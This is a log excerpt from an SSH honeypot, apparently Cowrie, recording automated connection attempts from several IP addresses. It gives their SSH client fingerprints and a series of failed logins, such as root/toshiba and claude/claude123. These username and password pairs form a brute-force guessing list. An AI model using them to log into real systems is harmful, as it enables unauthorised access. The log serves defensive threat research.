{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":39988,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac7ebb2ee83d","protocol":"ssh","message":"New connection: 43.173.90.78:39988 (159.203.135.109:22) [session: ac7ebb2ee83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:34.721840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:34.726928Z","src_ip":"43.173.90.78","session":"ac7ebb2ee83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:34.795472Z","src_ip":"43.173.90.78","session":"ac7ebb2ee83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git2025","message":"login attempt [git/git2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:35.097994Z","src_ip":"43.173.90.78","session":"ac7ebb2ee83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:36.169944Z","src_ip":"43.173.90.78","session":"ac7ebb2ee83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59804,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d288f6341a5","protocol":"ssh","message":"New connection: 193.32.162.151:59804 (159.203.135.109:22) [session: 2d288f6341a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:14.057057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:14.061903Z","src_ip":"193.32.162.151","session":"2d288f6341a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:14.176961Z","src_ip":"193.32.162.151","session":"2d288f6341a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ucsd","password":"ucsd","message":"login attempt [ucsd/ucsd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:14.535366Z","src_ip":"193.32.162.151","session":"2d288f6341a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:15.644470Z","src_ip":"193.32.162.151","session":"2d288f6341a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":58262,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d5923b7928c","protocol":"ssh","message":"New connection: 150.109.20.59:58262 (10.17.0.5:22) [session: 6d5923b7928c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:23.621199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:23.625044Z","src_ip":"150.109.20.59","session":"6d5923b7928c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:23.853734Z","src_ip":"150.109.20.59","session":"6d5923b7928c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:24.804940Z","src_ip":"150.109.20.59","session":"6d5923b7928c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:26.038115Z","src_ip":"150.109.20.59","session":"6d5923b7928c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":58536,"dst_ip":"159.203.135.109","dst_port":22,"session":"580fe7b5a74a","protocol":"ssh","message":"New connection: 43.173.90.78:58536 (159.203.135.109:22) [session: 580fe7b5a74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:44.820884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:44.826515Z","src_ip":"43.173.90.78","session":"580fe7b5a74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:44.898735Z","src_ip":"43.173.90.78","session":"580fe7b5a74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"India@2024","message":"login attempt [root/India@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:45.203229Z","src_ip":"43.173.90.78","session":"580fe7b5a74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":10018,"dst_ip":"159.203.135.109","dst_port":22,"session":"327712129165","protocol":"ssh","message":"New connection: 165.154.227.158:10018 (159.203.135.109:22) [session: 327712129165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:45.565889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:45.570503Z","src_ip":"165.154.227.158","session":"327712129165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:45.785327Z","src_ip":"165.154.227.158","session":"327712129165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:46.274623Z","src_ip":"43.173.90.78","session":"580fe7b5a74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohit","password":"mohit@123","message":"login attempt [mohit/mohit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:46.676701Z","src_ip":"165.154.227.158","session":"327712129165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:47.895189Z","src_ip":"165.154.227.158","session":"327712129165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":3849,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc31a8a56f99","protocol":"ssh","message":"New connection: 182.253.79.194:3849 (10.17.0.5:22) [session: cc31a8a56f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:54.208318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:54.212684Z","src_ip":"182.253.79.194","session":"cc31a8a56f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:54.469973Z","src_ip":"182.253.79.194","session":"cc31a8a56f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qQ","message":"login attempt [root/123456qQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:55.553776Z","src_ip":"182.253.79.194","session":"cc31a8a56f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:28:56.812922Z","src_ip":"182.253.79.194","session":"cc31a8a56f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":35952,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd89ef1100a","protocol":"ssh","message":"New connection: 115.91.48.142:35952 (10.17.0.5:22) [session: 2cd89ef1100a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:01.100426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:01.106268Z","src_ip":"115.91.48.142","session":"2cd89ef1100a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:01.314019Z","src_ip":"115.91.48.142","session":"2cd89ef1100a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234..","message":"login attempt [root/1234..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:02.183189Z","src_ip":"115.91.48.142","session":"2cd89ef1100a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56164,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac212685febe","protocol":"ssh","message":"New connection: 87.251.79.125:56164 (10.17.0.5:22) [session: ac212685febe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:02.711055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:02.717748Z","src_ip":"87.251.79.125","session":"ac212685febe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:02.791929Z","src_ip":"87.251.79.125","session":"ac212685febe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toshiba","message":"login attempt [root/toshiba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:03.012110Z","src_ip":"87.251.79.125","session":"ac212685febe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":35111,"dst_ip":"10.17.0.5","dst_port":22,"session":"e82c45eea569","protocol":"ssh","message":"New connection: 2.57.121.112:35111 (10.17.0.5:22) [session: e82c45eea569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:03.237455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:03.242021Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:03.343189Z","src_ip":"2.57.121.112","session":"e82c45eea569","protocol":"ssh"}
